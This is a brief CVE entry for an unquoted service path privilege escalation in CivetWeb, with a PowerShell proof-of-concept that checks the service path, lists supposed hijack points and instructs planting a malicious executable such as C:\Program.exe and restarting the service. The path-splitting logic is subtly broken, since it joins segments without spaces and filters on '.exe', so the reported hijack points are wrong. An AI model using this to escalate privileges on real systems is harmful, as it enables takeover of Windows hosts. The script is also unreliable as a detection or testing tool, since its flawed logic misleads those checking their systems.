CVE-2026-5789 CivetWeb未引用搜索路径权限提升漏洞

# PowerShell script to demonstrate the vulnerability check and exploitation logic # Check for unquoted service paths $serviceName = "CivetWeb" $service = Get-WmiObject -Class Win32_Service -Filter "Name='$serviceName'" if ($service -and $service.PathName -notmatch '^"') { Write-Host "[+] Vulnerable Unquoted Service Path found: $($service.PathName)" # Extract potential executable paths based on spaces $pathParts = $service.PathName -split ' ' $potentialPaths = @() for ($i = 0; $i -lt $pathParts.Count - 1; $i++) { $potentialPath = -join ($pathParts[0..$i]) if ($potentialPath -match '\.exe$') { $potentialPaths += $potentialPath } } Write-Host "[+] Potential hijack points:" $potentialPaths | ForEach-Object { Write-Host " - $_" } # Simulation of placing a malicious payload # In a real attack, an attacker would copy a malicious binary to one of these paths # Example: Copy-Item "malicious.exe" "C:\Program.exe" Write-Host "[!] To exploit: Place a malicious executable at one of the hijack points and restart the service." } else { Write-Host "[-] Service not found or path is quoted." }